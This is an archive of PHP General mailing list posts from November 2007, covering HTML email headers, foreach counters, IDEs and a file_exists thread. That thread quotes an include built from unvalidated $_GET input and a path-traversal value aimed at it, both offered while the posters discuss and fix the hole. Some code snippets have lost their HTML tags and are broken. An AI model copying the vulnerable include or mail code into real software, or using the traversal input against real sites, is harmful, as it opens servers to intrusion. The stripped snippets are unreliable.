Re: [PHP] Cannot send a hyperlink

2007-11-15 Thread Stut

Daniel Brown wrote:

On Nov 15, 2007 9:41 AM, Brad <[EMAIL PROTECTED]> wrote:

Beginning with
$headers .= "--".$htmlalt_mime_boundary.$eol;
It starts to read it as text and not html??

Could this be a server side problem?


Negative.  It's client-side error E304, resulting from a
null-pointer exception between the chair and keyboard.


Usually abbreviated to PEBKAC if I'm not mistaken.

-Stut

--
http://stut.net/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Foreach question

2007-11-15 Thread Michael McGlothlin

$x = 0;
foreach ( $blah as $bleh ) {
$x = $x + 1;
print "$x: $bleh";
}


HI,
I'm working with an associative array, and generating its data a form. I use
foreach to loops the contents of the array and echo to print the table and
the data. Everything goes well, however I would like to add a counter to
print the row's number.

The question : Am I able to add a counter within foreach to print the row
number in each row using echo ?. I tried a few things but I couldn't.

Thanks!

Juan

  



--
Michael McGlothlin
Southwest Plumbing Supply

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] recommendation for a article manager

2007-11-15 Thread Jammer

Joker7 wrote:
I did look at Wordpress but was thinking it may be a bit complex for the 
people that will be using it-May install and have a play around with it.


have you looked at the postie plugin for wordpress ... ?  you can even 
set it up to perform cronless (non cronjob) postings.


using this would enable your users to stick to using a familiar email 
environment to write articles and post them to a designated email 
account, the wouldn't need to even know it was wordpress let alone 
figure out the interface/options.  uploads are supported as well so 
including images is doable, provided the css is setup correctly.


it supports adding articles to specific categories using prefixes to the 
subject as well (including multiple categories if needed).


--
jammer
www.jammer.biz

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Foreach question

2007-11-15 Thread Stut

Juan Marcelo Rodríguez wrote:

I'm working with an associative array, and generating its data a form. I use
foreach to loops the contents of the array and echo to print the table and
the data. Everything goes well, however I would like to add a counter to
print the row's number.

The question : Am I able to add a counter within foreach to print the row
number in each row using echo ?. I tried a few things but I couldn't.


The mind boggles when wondering what you tried.

$counter = 1;
foreach ($array as $val)
{
// Do your stuff here

// Increment the counter
$counter++;
}

-Stut

--
http://stut.net/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP access of FileMaker data

2007-11-15 Thread Brian Dunning
Paul - a PHP API is built into the current version of FileMaker  
Server. You do not need any third party classes or anything else. Some  
info:

http://www.filemaker.com/support/technologies/php.html

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Open Source BTS??

2007-11-15 Thread mike
On 11/15/07, Randy Patterson <[EMAIL PROTECTED]> wrote:
> Hey,
>
> I am needing to install a bug tracking system on a web server and looking for
> a good PHP open source solution. Looking for a pretty mature system that
> still has active development. Thanks for any suggestions.

http://www.mantisbt.org/ isn't too bad. i use it for a client. it's a
little funky but does the job.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Cannot send a hyperlink

2007-11-15 Thread Brad
My bad,
You do not need command line access!
I should have read more.

I just need to get this puppy working is all.
Php should be able to do this by it's self!

-Original Message-
From: Stut [mailto:[EMAIL PROTECTED] 
Sent: Thursday, November 15, 2007 9:46 AM
To: Brad
Cc: 'Daniel Brown'; php-general@lists.php.net
Subject: Re: [PHP] Cannot send a hyperlink

Brad wrote:
> Beginning with 
> $headers .= "--".$htmlalt_mime_boundary.$eol;
> It starts to read it as text and not html??
> 
> Could this be a server side problem?
> 
> $email = $_REQUEST['email'] ;
> $fromaddress .= '[EMAIL PROTECTED]';
> $fromname .= 'Zone of success Club';
> $eol="\r\n";
> $headers  = "From: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
> $headers .= "X-Mailer: PHP ".phpversion().$eol;
> $headers .= "--".$htmlalt_mime_boundary.$eol;
> $headers .= "Content-Type: text/html; charset=iso-8859-1".$eol;
> $headers .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
> $body = "http://www.zoneofsuccessclub.com\";>link \n";
> mail($email, $subject, $body, $headers);

You should not have a mime boundary in your headers. Why not use 
PHPMailer? All this (apparently) complicated stuff is already 
implemented for you. Either that or spend a few days learning about the 
structure of emails by following the links Daniel Brown sent you a few 
emails ago.

PHPMailer can be found here: http://phpmailer.sf.net/

-Stut

-- 
http://stut.net/

> -Original Message-
> From: Daniel Brown [mailto:[EMAIL PROTECTED] 
> Sent: Wednesday, November 14, 2007 11:09 AM
> To: Brad
> Cc: [EMAIL PROTECTED]; php-general@lists.php.net
> Subject: Re: [PHP] Cannot send a hyperlink
> 
> Brad,
> 
> That code is a mess and highly incorrect, even at a novice level.
> Let me give you a hand
> 
> On Nov 14, 2007 10:31 AM, Brad <[EMAIL PROTECTED]> wrote:
>> I implemented the proposed code, and emails are not being sent?
>>
>> Any suggestions?
>>
>> Here is the code
>>
>> >
>>   $email = $_REQUEST['email'] ;
>>   $eol="\r\n";
>>   $headers .= "From: ".$fromname."<".$fromaddress.">".$eol;
>>   $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
>>   $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
>>   $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
>>   $headers .= "X-Mailer: PHP ".phpversion().$eol;
>>   $msg .= "--".$htmlalt_mime_boundary.$eol;
>>   $msg .= "Content-Type: text/html; charset=iso-8859-1".$eol;
>>   $msg .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
>>   $body.='link ';
>>   $msg .= $body.$eol.$eol;
>>   mail($to, $subject, $msg, $headers);
>>
>> ?>
> 
> [snip]
> 
> 1.) You reference $to in the mail() function, but there is no $to
> defined.  Instead, either change $email to $to or vice-versa.
> 2.) You don't need to start the first line of a variable off with
> a .= --- this will append to an existing variable of the same name, if
> it exists.
> 3.) You change your quoting style where it's not necessary.  All
> $msg lines should be using double quotes in your code above.
> 4.)  5.) You have things in the message body that should be in the headers.
> 6.) You don't need to do a carriage return and newline in the
> message body.  A simple \n will suffice.
> 7.) I'm not sure what you hoped to achieve with the
> "'.www.domain.com.'" conglomerate, but don't.  That makes PHP
> think that the domain is some sort of internally-defined variable of
> horrible construct.
> 8.) You should use http:// prior to the FQDN.
> 
> Taking hints from what appears to be your code, this is how it should
> be:
>  $email = $_REQUEST['email'] ;
> $eol="\r\n";
> $headers  = "From: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
> $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
> $headers .= "X-Mailer: PHP ".phpversion().$eol;
> $headers .= "--".$htmlalt_mime_boundary.$eol;
> $headers .= "Content-Type: text/html; charset=iso-8859-1".$eol;
> $headers .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
> $body = "http://www.zoneofsuccessclub.com\";>link \n";
> mail($email, $subject, $body, $headers);
> ?>
> 
> Prior to asking a bunch of questions on the list, which seriously
> puts you at risk for being flamed or ignored, check out these
> references:
> http://www.bath.ac.uk/bucs/email/anatomy.shtml  [Anatomy of an
> Email Message]
> http://www.php.net/mail  [PHP Mail Functions]
> http://www.htmlgoodies.com/primers/html/  [Beginner's Guide to HTML]
> 

No virus found in this incoming message.
Checked by AVG Free Edition. 
Version: 7.5.503 / Virus Database: 269.15.32/1131 - Release Date: 11/14/2007
4:54 PM
 

No virus found in this outgoing message.
Checked by A

Re: [PHP] Sending to Blackberry PIN's

2007-11-15 Thread Daniel Brown
On Nov 15, 2007 12:51 PM, Alexis <[EMAIL PROTECTED]> wrote:
> Hi,
>
> I was wondering, is there any way to send an email to a Blackberry PIN,
> using PHP?
>
> Thanks
> Alexis
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

I don't have any experience with Blackberry devices at all, but by
the sounds of this document, you simple use the mail() function to
send to an address associated with the PIN.

Document Location: http://kb.iu.edu/data/alnw.html


-- 
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Gmail Account Invites (Want One?)

2007-11-15 Thread Casey
They obviously forgot to remove it :P

On Nov 15, 2007 1:53 PM, Stephen Wong <[EMAIL PROTECTED]> wrote:
> Yeah, not sure why the "invite a friend" option is still there
>
> On Nov 15, 2007 4:48 PM, William Betts <[EMAIL PROTECTED]> wrote:
>
> > Great with the times. :P It's not invite anymore.
> >
> > On Nov 15, 2007 3:40 PM, Daniel Brown <[EMAIL PROTECTED]> wrote:
> > > I know a good deal of us here are already using Gmail accounts,
> > > but if you're not one of us and would like to be, let me know.  I
> > > still have 95 invites left, and whomever would like one is more than
> > > welcome to it.
> > >
> > > If you're not familiar with Gmail, check out the site at
> > > http://www.gmail.com/.  Great threading, something like 4BG (and
> > > counting) of space, and by far the absolute BEST SPAM filter I've ever
> > > worked with.  Plus a lot more, including integration with Google Docs,
> > > et cetera.
> > >
> > > Just let me know and I'll send you an invite so you can create an 
> > > account.
> > >
> > > --
> > > Daniel P. Brown
> > > [office] (570-) 587-7080 Ext. 272
> > > [mobile] (570-) 766-8107
> > >
> > > If at first you don't succeed, stick to what you know best so that you
> > > can make enough money to pay someone else to do it for you.
> > >
> > > --
> > > PHP General Mailing List (http://www.php.net/)
> > > To unsubscribe, visit: http://www.php.net/unsub.php
> > >
> > >
> >
> > --
> > PHP General Mailing List (http://www.php.net/)
> > To unsubscribe, visit: http://www.php.net/unsub.php
> >
> >
>
>
>
> --
> S. Wong
>
> --
>
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Foreach question

2007-11-15 Thread Philip Thompson
On Nov 15, 2007 5:12 PM, Juan Marcelo Rodríguez <[EMAIL PROTECTED]>
wrote:

> Yes, I made a mistake in the first sentence.
>
> The code is :
> [...]
>
> foreach ($equipos as $key => $val){
>
> echo "";
> echo "1" . "";  // I would like to add the counter here
> reeplacing
> "1"


echo "".($key+1)."";

This is assuming $key starts at 0 and increments by 1 each iteration
However, if you can't assume that, just have a separate counter:

 $c) {
echo "".(++$counter)."";
...
}

HTH
~Philip


Re: [PHP] [NEWBIE GUIDE] For the benefit of new members

2007-11-15 Thread Paul Scott

On Thu, 2007-11-15 at 16:45 -0500, Daniel Brown wrote:
> > 3. There is a searchable archive of the mailing list discussion at
> > http://phparch.com/mailinglists. 

or at
http://fsiu.uwc.ac.za/index.php?module=blog&action=randblog&userid=9914070612 
if the above is down, as it is for me right now.


--Paul

All Email originating from UWC is covered by disclaimer 
http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Foreach question (solved)

2007-11-15 Thread Juan Marcelo Rodríguez
Thanks.

I solved it using this :

$x = 0;

foreach ($equipos as $key => $val){

$x = $x + 1;
echo "";
echo $x . "";

2007/11/15, Michael McGlothlin <[EMAIL PROTECTED]>:
>
> $x = 0;
> foreach ( $blah as $bleh ) {
> $x = $x + 1;
> print "$x: $bleh";
> }
>
> > HI,
> > I'm working with an associative array, and generating its data a form. I
> use
> > foreach to loops the contents of the array and echo to print the table
> and
> > the data. Everything goes well, however I would like to add a counter to
> > print the row's number.
> >
> > The question : Am I able to add a counter within foreach to print the
> row
> > number in each row using echo ?. I tried a few things but I couldn't.
> >
> > Thanks!
> >
> > Juan
> >
> >
>
>
> --
> Michael McGlothlin
> Southwest Plumbing Supply
>
>


RE: [PHP] Is there a 'Beginner's' PHP List

2007-11-15 Thread Instruct ICC



> Date: Thu, 15 Nov 2007 10:17:29 -0500
> From: [EMAIL PROTECTED]
> To: [EMAIL PROTECTED]
> Subject: Re: [PHP] Is there a 'Beginner's' PHP List
> CC: php-general@lists.php.net
> 
> On Nov 14, 2007 10:29 PM, Instruct ICC <[EMAIL PROTECTED]> wrote:
> > I'm going to have to move this to gmail to keep it threaded better.
> 
> As long as the subject doesn't change, it works great.
> Unfortunately, I don't think Gmail uses message IDs for threading.


Thanks for reminding me to setup my gmail account with this list.  I think I'll 
do that before finding out if that guy got his HTML email working.

_
Peek-a-boo FREE Tricks & Treats for You!
http://www.reallivemoms.com?ocid=TXT_TAGHM&loc=us

RE: [PHP] Cannot send a hyperlink

2007-11-15 Thread Instruct ICC

> No access to the server command line to install it!
> And, I am into this guy too deep to switch technologies. For the next time
> around, no problem, this time I am just trying to get php to do what it is
> supposed to do.

[sarcastic]Rough install.[/sarcastic]  If you can write a php script, you can 
use PHPmailer http://phpmailer.sourceforge.net/tutorial.php#4


IsSMTP();  // telling the class to use SMTP

$mail->Host = "smtp.example.com"; // SMTP server



$mail->From = "[EMAIL PROTECTED]";

$mail->AddAddress("[EMAIL PROTECTED]"); 



$mail->Subject  = "An HTML Message";

$mail->Body = "Hello, my friend! \n\n This message uses HTML 
entities!";



?>

_
Windows Live Hotmail and Microsoft Office Outlook – together at last.  Get it 
now.
http://office.microsoft.com/en-us/outlook/HA102225181033.aspx?pid=CL100626971033

RE: [PHP] Cannot send a hyperlink

2007-11-15 Thread admin
Understand your syntax issue has nothing to do with the mail function its
self.
That was an Operator headspace Issue.
Including links in email is not hard your entire email structure was BLOWN
UP...

For you to even submit that to php.net is useless.
A. No one is going to post that. Because it has NOTHING to do with the
actual Mail();
B. Your using an existing mail() structure described.




Brad wrote:
> Thank you so much!
> 
> It worked like a champ first try!
> I would have never seen that and have been looking everywhere on the net
for
> a working example!
> 
> Funny thing is, right after is work perfectly twice, my database crashed!
> 
> But, this is the technology we play with!
> 
> Problem solved and I am going to post this code on the php website for
> others to reference!



-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Cannot send a hyperlink

2007-11-15 Thread Stut

Brad wrote:

No access to the server command line to install it!
And, I am into this guy too deep to switch technologies. For the next time
around, no problem, this time I am just trying to get php to do what it is
supposed to do.


You don't need command line access to install it. PHPMailer consists of 
PHP only - nothing to install but PHP files. See here: 
http://phpmailer.sourceforge.net/install.php



The suggestion of mime was presented to me from another kind sole trying to
help that knows more than I and recommended on other help files.

Why is php refusing to parse as html?


And here lies the basic problem. PHP is *not* the thing that's refusing 
to parse it as HTML. Since you don't know that you really should do a 
lot of reading before you try sending HTML emails without using 
something like PHPMailer.


For beeps and farts I've "fixed" your code, but even though it will now 
"work" it is nowhere near the right way to send this type of email, but 
my life is probably going to be too short to tell you what you could 
easily find out yourself.


$email = $_REQUEST['email'];
$fromaddress = '[EMAIL PROTECTED]';
$fromname = 'Zone of success Club';
$eol = "\r\n";
$headers  = 'From: '.$fromname.' <'.$fromaddress.'>'.$eol;
$headers .= 'Reply-To: '.$fromname.' <'.$fromaddress.'>'.$eol;
$headers .= 'Return-Path: '.$fromname.' <'.$fromaddress.'>'.$eol;
$headers .= 'X-Mailer: PHP '.phpversion().$eol;
$headers .= 'Content-Type: text/html; charset=iso-8859-1'.$eol;
$headers .= 'Content-Transfer-Encoding: 8bit';
$subject = 'This is my spam, worship me';
$body = 'http://www.zoneofsuccessclub.com/";>link';
mail($email, $subject, $body, $headers);

Some *important* notes...

* I defined $subject because it tries to use it.
* You don't need to provide the MessageID - your mail server will do 
that for you... correctly.
* You don't need to add two carriage returns at the end of the headers - 
PHP will do that for you.
* This email will be in HTML only which makes it a lot more likely to 
get flagged as spam.
* If you're on a unix-based platform you really should be using the 5th 
parameter to mail, but that's probably going to confuse the hell out of 
you so I won't mention it. D'oh!
* This code is not secure. It's trivial to inject headers (and a body 
too) into the message. You should be validating that $_REQUEST['email'] 
is a valid email address and just a valid email address.


-Stut

--
http://stut.net/


-Original Message-
From: Stut [mailto:[EMAIL PROTECTED] 
Sent: Thursday, November 15, 2007 9:46 AM

To: Brad
Cc: 'Daniel Brown'; php-general@lists.php.net
Subject: Re: [PHP] Cannot send a hyperlink

Brad wrote:
Beginning with 
$headers .= "--".$htmlalt_mime_boundary.$eol;

It starts to read it as text and not html??

Could this be a server side problem?

$email = $_REQUEST['email'] ;
$fromaddress .= '[EMAIL PROTECTED]';
$fromname .= 'Zone of success Club';
$eol="\r\n";
$headers  = "From: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
$headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
$headers .= "X-Mailer: PHP ".phpversion().$eol;
$headers .= "--".$htmlalt_mime_boundary.$eol;
$headers .= "Content-Type: text/html; charset=iso-8859-1".$eol;
$headers .= "Content-Transfer-Encoding: 8bit".$eol.$eol;
$body = "http://www.zoneofsuccessclub.com\";>link \n";
mail($email, $subject, $body, $headers);


You should not have a mime boundary in your headers. Why not use 
PHPMailer? All this (apparently) complicated stuff is already 
implemented for you. Either that or spend a few days learning about the 
structure of emails by following the links Daniel Brown sent you a few 
emails ago.


PHPMailer can be found here: http://phpmailer.sf.net/

-Stut



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] I need help handling form posting

2007-11-15 Thread Daniel Brown
On Nov 15, 2007 12:14 PM,  <[EMAIL PROTECTED]> wrote:
> FOR GODS SAKE DON'T comment on syntax or design. I DO NOT CARE this is a
> example ONLY!!!
> OF COURSE I LEFT OUT CODE. OF COURSE THIS IS NOT A COPY PASTE AND IT WILL
> RUN!!

There should be an apostrophe in "GODS" and your sentence should
read "this is an example", not "a example".

Overall: B+

-- 
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] IDE

2007-11-15 Thread David Giragosian
On 11/15/07, Jammer <[EMAIL PROTECTED]> wrote:
>
> Børge Holen wrote:
> > On Thursday 15 November 2007 21:35:04 Jammer wrote:
> >> Hi All,
> >>
> >> This is my first post here ... I'm very much a newbie to php but work
> >> during the day using SQL Server, VS2005 and Foxpro.  Looking to gen up
> >> on my PHP.
> >>
> >> Are there any IDE's for PHP worth checking out.  Particularly free
> ones!
> >>
> >> TIA,
> >>
> >> --
> >> jammer
> >> www.jammer.biz
> >
> > I LOVE this IDE quiz'
> > the same answers everytime.
>
> duh!
>
> look, i'm really sorry everyone ... we all make mistakes!
>
> if this is a question that comes up as often as it appears from the
> responses this thread has generated maybe the FAQ needs to *really*
> address that?
>
> http://uk3.php.net/FAQ.php
>
> --
> jammer
>
It's OK. I think there's been a long thread on the subject each of the last
two weeks. The folks who are really passionate about their IDE's jump in
first, then those less motivated or less interested add theirs, then it
seems to die for a day or so before it rises from the ashes to sputter and
hiccup a time or two. And then it starts all over, again.

If you stick around long enough on this list, you'll be fussin' at the
question, too.

David


Re: [PHP] Gmail Account Invites (Want One?)

2007-11-15 Thread Daniel Brown
On Nov 15, 2007 4:54 PM, Casey <[EMAIL PROTECTED]> wrote:
> You can get it for free. Go to mail.google.com and click "Get Gmail"
> or something like that.
>
>
> On Nov 15, 2007 1:48 PM, William Betts <[EMAIL PROTECTED]> wrote:
> > Great with the times. :P It's not invite anymore.
> >
> >
> > On Nov 15, 2007 3:40 PM, Daniel Brown <[EMAIL PROTECTED]> wrote:
> > > I know a good deal of us here are already using Gmail accounts,
> > > but if you're not one of us and would like to be, let me know.  I
> > > still have 95 invites left, and whomever would like one is more than
> > > welcome to it.
> > >
> > > If you're not familiar with Gmail, check out the site at
> > > http://www.gmail.com/.  Great threading, something like 4BG (and
> > > counting) of space, and by far the absolute BEST SPAM filter I've ever
> > > worked with.  Plus a lot more, including integration with Google Docs,
> > > et cetera.
> > >
> > > Just let me know and I'll send you an invite so you can create an 
> > > account.
> > >
> > > --
> > > Daniel P. Brown
> > > [office] (570-) 587-7080 Ext. 272
> > > [mobile] (570-) 766-8107
> > >
> > > If at first you don't succeed, stick to what you know best so that you
> > > can make enough money to pay someone else to do it for you.
> > >
> > > --
> > > PHP General Mailing List (http://www.php.net/)
> > > To unsubscribe, visit: http://www.php.net/unsub.php
> > >
> > >
> >
> > --
> > PHP General Mailing List (http://www.php.net/)
> > To unsubscribe, visit: http://www.php.net/unsub.php
> >
> >
>

Yay!  I got to say my stupid thing for the day.

Last I had even looked at the signup process, it was open to US
users who had a cell phone and could receive SMS messages (containing
a confirmation code).  I wonder why the hell they still give you a
limit on invites for Gmail then.  I guess it's just typical eccentric
Google.

-- 
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Gmail Account Invites (Want One?)

2007-11-15 Thread Daniel Brown
I know a good deal of us here are already using Gmail accounts,
but if you're not one of us and would like to be, let me know.  I
still have 95 invites left, and whomever would like one is more than
welcome to it.

If you're not familiar with Gmail, check out the site at
http://www.gmail.com/.  Great threading, something like 4BG (and
counting) of space, and by far the absolute BEST SPAM filter I've ever
worked with.  Plus a lot more, including integration with Google Docs,
et cetera.

Just let me know and I'll send you an invite so you can create an account.

-- 
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107

If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Open Source BTS??

2007-11-15 Thread Randy Patterson
Hey,

I am needing to install a bug tracking system on a web server and looking for 
a good PHP open source solution. Looking for a pretty mature system that 
still has active development. Thanks for any suggestions.

Randy

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Foreach question

2007-11-15 Thread Juan Marcelo Rodríguez
2007/11/15, Philip Thompson <[EMAIL PROTECTED]>:
>
> On Nov 15, 2007 5:12 PM, Juan Marcelo Rodríguez <
> [EMAIL PROTECTED]>
> wrote:
>
> > Yes, I made a mistake in the first sentence.
> >
> > The code is :
> > [...]
> >
> > foreach ($equipos as $key => $val){
> >
> > echo "";
> > echo "1" . "";  // I would like to add the counter here
> > reeplacing
> > "1"
>
>
> echo "".($key+1)."";
>
> This is assuming $key starts at 0 and increments by 1 each iteration
> However, if you can't assume that, just have a separate counter:
>
>  $counter = 0;
> foreach ($a as $b => $c) {
> echo "".(++$counter)."";
> ...
> }


very good idea.

thanks!

Juan

HTH
> ~Philip
>


Re: [PHP] file_exists

2007-11-15 Thread Stut

Instruct ICC wrote:

Something like the following would be much better (untested)...

$page = realpath(dirname(__FILE__).'/inc/'.$_GET['page'].'.php');
$expecteddir = realpath(dirname(__FILE__).'/inc');
if (substr($page, 0, strlen($expecteddir)) != $expecteddir)
{
 // Ideally return a 403 status here
 die('Access denied');
}
// Now we know it's a file in the right directory
if (file_exists($page))
{
 include($page);
}
else
{
 // Return a 404 status here
 die('Resource not found');
}

That should lock the requested page to the given directory. If anyone 
can see any way around that I'd be interested in hearing about it.


-Stut

--
http://stut.net/

Good points about (.php, evil-payload, and evil-payload.php?).

Although I'll defer to a security expert, your modification looks good to not 
include a remote site's code.
But on a shared host, what about this?:
index.php?page=../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php

If that gives something like:
$expecteddir === 
"/home/stut/phpstuff/inc/../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php"
maybe it will include "/home/evil-user-home-dir/evil-payload.php"



No, you've missed the point. $expecteddir is a fixed variable that you, 
the script author, specify. It does not contain anything coming from 
external veriables. You then compare the full path you build from the 
external variables to $expecteddir to verify that the file is in the 
right directory.


I suggest you read the code I posted again.

-Stut


I meant if $page evaluates to 
"/home/stut/phpstuff/inc/../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php"
which it does not.

However I don't think your if (substr($page, 0, strlen($expecteddir)) != 
$expecteddir)
ever evaluates to TRUE.  So you'll never get Access denied.

So how you set $page saved your ass.  Good job.


You clearly don't know what the realpath function does. Look it up.

-Stut

--
http://stut.net/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Foreach question

2007-11-15 Thread Juan Marcelo Rodríguez
Yes, I made a mistake in the first sentence.

The code is :
[...]

foreach ($equipos as $key => $val){

echo "";
echo "1" . "";  // I would like to add the counter here reeplacing
"1"
print "" . "";
echo $key . "";
print "" . "";
echo $val . "";
print "" . "";
}

?>

I use the array to generate the name of the radio and so on. However I had
problems with the counter.

Thanks


2007/11/15, Stut <[EMAIL PROTECTED]>:
>
> Juan Marcelo Rodríguez wrote:
> > I'm working with an associative array, and generating its data a form. I
> use
> > foreach to loops the contents of the array and echo to print the table
> and
> > the data. Everything goes well, however I would like to add a counter to
> > print the row's number.
> >
> > The question : Am I able to add a counter within foreach to print the
> row
> > number in each row using echo ?. I tried a few things but I couldn't.
>
> The mind boggles when wondering what you tried.
>
> $counter = 1;
> foreach ($array as $val)
> {
> // Do your stuff here
>
> // Increment the counter
> $counter++;
> }
>
> -Stut
>
> --
> http://stut.net/
>


Re: [PHP] recommendation for a article manager

2007-11-15 Thread Joker7
In news: [EMAIL PROTECTED] - "Edward Kay"
wrote :
>>> Hi,
>>> I'm looking for a recommendation for a small easy to use "free"
>>> article manager.It must be able to fit in with existing site and be
>>> able
>>> to include
>>> a picture.It does not need an all singing editor a simple form
>>> system will
>>> do I can control the look by css.
>>>
>>
>> I'm currently doing the same thing to add press releases/news
>> archive in our existing site. Using Wordpress with a custom theme is
>> working well at the moment.
>>
>> HTH,
>> Edward

I did look at Wordpress but was thinking it may be a bit complex for the 
people that will be using it-May install and have a play around with it.

Chris

-- 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] file_exists

2007-11-15 Thread Instruct ICC

> >> Something like the following would be much better (untested)...
> >>
> >> $page = realpath(dirname(__FILE__).'/inc/'.$_GET['page'].'.php');
> >> $expecteddir = realpath(dirname(__FILE__).'/inc');
> >> if (substr($page, 0, strlen($expecteddir)) != $expecteddir)
> >> {
> >>  // Ideally return a 403 status here
> >>  die('Access denied');
> >> }
> >> // Now we know it's a file in the right directory
> >> if (file_exists($page))
> >> {
> >>  include($page);
> >> }
> >> else
> >> {
> >>  // Return a 404 status here
> >>  die('Resource not found');
> >> }
> >>
> >> That should lock the requested page to the given directory. If anyone 
> >> can see any way around that I'd be interested in hearing about it.
> >>
> >> -Stut
> >>
> >> -- 
> >> http://stut.net/
> > 
> > Good points about (.php, evil-payload, and evil-payload.php?).
> > 
> > Although I'll defer to a security expert, your modification looks good to 
> > not include a remote site's code.
> > But on a shared host, what about this?:
> > index.php?page=../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php
> > 
> > If that gives something like:
> > $expecteddir === 
> > "/home/stut/phpstuff/inc/../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php"
> > maybe it will include "/home/evil-user-home-dir/evil-payload.php"
> > 

> 
> No, you've missed the point. $expecteddir is a fixed variable that you, 
> the script author, specify. It does not contain anything coming from 
> external veriables. You then compare the full path you build from the 
> external variables to $expecteddir to verify that the file is in the 
> right directory.
> 
> I suggest you read the code I posted again.
> 
> -Stut

I meant if $page evaluates to 
"/home/stut/phpstuff/inc/../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php"
which it does not.

However I don't think your if (substr($page, 0, strlen($expecteddir)) != 
$expecteddir)
ever evaluates to TRUE.  So you'll never get Access denied.

So how you set $page saved your ass.  Good job.

_
Help yourself to FREE treats served up daily at the Messenger Café. Stop by 
today.
http://www.cafemessenger.com/info/info_sweetstuff2.html?ocid=TXT_TAGLM_OctWLtagline

RE: [PHP] file_exists

2007-11-15 Thread Instruct ICC

> My server is down right now so I can't do my usual example script.

A likely story.

Just kidding.

Stut, YOU WERE RIGHT, AND I WAS WRONG.
Your code is golden.

_
Help yourself to FREE treats served up daily at the Messenger Café. Stop by 
today.
http://www.cafemessenger.com/info/info_sweetstuff2.html?ocid=TXT_TAGLM_OctWLtagline

Re: [PHP] file_exists

2007-11-15 Thread Stut

Instruct ICC wrote:




Date: Thu, 15 Nov 2007 13:16:46 +
From: [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
CC: php-general@lists.php.net
Subject: Re: [PHP] file_exists

Instruct ICC wrote:



Date: Thu, 15 Nov 2007 00:20:52 +
From: [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
CC: php-general@lists.php.net
Subject: Re: [PHP] file_exists

Philip Thompson wrote:

I've run into similar problems where I *thought* I was looking in the
correct location... but I wasn't. Take this for example


$page = $_GET['page'];

if (file_exists ("$page.php")) {
include ("$page.php");
}
?>

I really hope this is not a piece of production code. If it is then you
might want to think very hard about what it's doing. If you still can't
see a problem let me know!

-Stut

--
http://stut.net/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Called like this?

